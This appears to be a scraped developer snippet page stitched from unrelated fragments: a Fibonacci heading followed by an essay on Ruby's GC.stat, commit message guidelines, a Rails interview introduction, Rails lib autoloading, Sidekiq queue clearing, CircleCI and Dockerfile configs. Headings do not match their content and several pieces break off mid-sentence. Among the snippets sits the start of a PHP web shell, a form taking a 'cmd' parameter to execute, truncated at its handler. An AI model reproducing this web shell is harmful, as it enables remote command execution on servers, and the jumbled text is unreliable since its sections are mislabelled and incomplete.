The Tiến dthtien

Fibonacci numbers

Problem overview

The fibonacci series is a classic series of numbers where the 0th element is 0, the 1st element is 1, and from thereon, each element is the sum of the previous two elements. For example, the following represents a fibonacci series: 0, 1, 1, 2, 3, 5, 8, 13, 34, ...

Naive algorithm

Most Ruby programmers don't have any idea how garbage collection works in their runtime - what triggers it, how often it runs, and what is garbage collected and what isn't. That's not entirely a bad thing - garbage collection in dynamic languages like Ruby is usually pretty complex, and Ruby programmers are better off just focusing on writing code that matters for their users.

But, occasionally, you get bitten by GC - either it's running too often or not enough, or your process is using tons of memory but you don't know why. Or maybe you're just curious about how GC works!

One way we can learn a bit about garbage collection in CRuby (that is, the standard Ruby runtime, written in C) is to look at the built-in GC module. If you haven't read the docs of this module, check it out. There's a lot of interesting methods in there. But for right now, we're just going to look at one: GC.stat.

GC.stat outputs a hash with a bunch of different numbers, but none of th

Commit Message Guidelines

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bug" or "Fixes bug." This convention matches up with commit messages

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Example

Originally published in June 2008

When hiring Ruby on Rails programmers, knowing the right questions to ask during an interview was a real challenge for me at first. In 30 minutes or less, it's difficult to get a solid read on a candidate's skill set without looking at code they've previously written. And in the corporate/enterprise world, I often don't have access to their previous work.

To ensure we hired competent ruby developers at my last job, I created a list of 15 ruby questions -- a ruby measuring stick if you will -- to select the cream of the crop that walked through our doors.

What to expect

Candidates will typically give you a range of responses based on their experience and personality. So it's up to you to decide the correctness of their answer.

Load lib files in production (Rails 5)

If you have your code defined in classes in lib/ folder you may have problems to load that code in production.

Autoloading is disabled in the production environment by default because of thread safety.

Change config/application.rb:

    config.autoload_paths << Rails.root.join("lib")
 config.eager_load_paths &lt;&lt; Rails.root.join("lib")

	require 'sidekiq/api'

	# 1. Clear retry set

	Sidekiq::RetrySet.new.clear

	# 2. Clear scheduled jobs

	Sidekiq::ScheduledSet.new.clear

	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{

	# Ruby CircleCI 2.0 configuration file
	#
	# Check https://circleci.com/docs/2.0/language-ruby/ for more details
	#

	defaults: &defaults
	working_directory: ~/repo
	docker:
	- image: circleci/ruby:2.4.1-node-browsers
	environment:

	FROM ruby:2.3.1

	# Install dependencies
	RUN apt-get update -qq && apt-get install -y build-essential libpq-dev nodejs

	# Set an environment variable where the Rails app is installed to inside of Docker image:
	ENV RAILS_ROOT /var/www/app_name
	RUN mkdir -p $RAILS_ROOT

	# Set working directory, where the commands will be ran: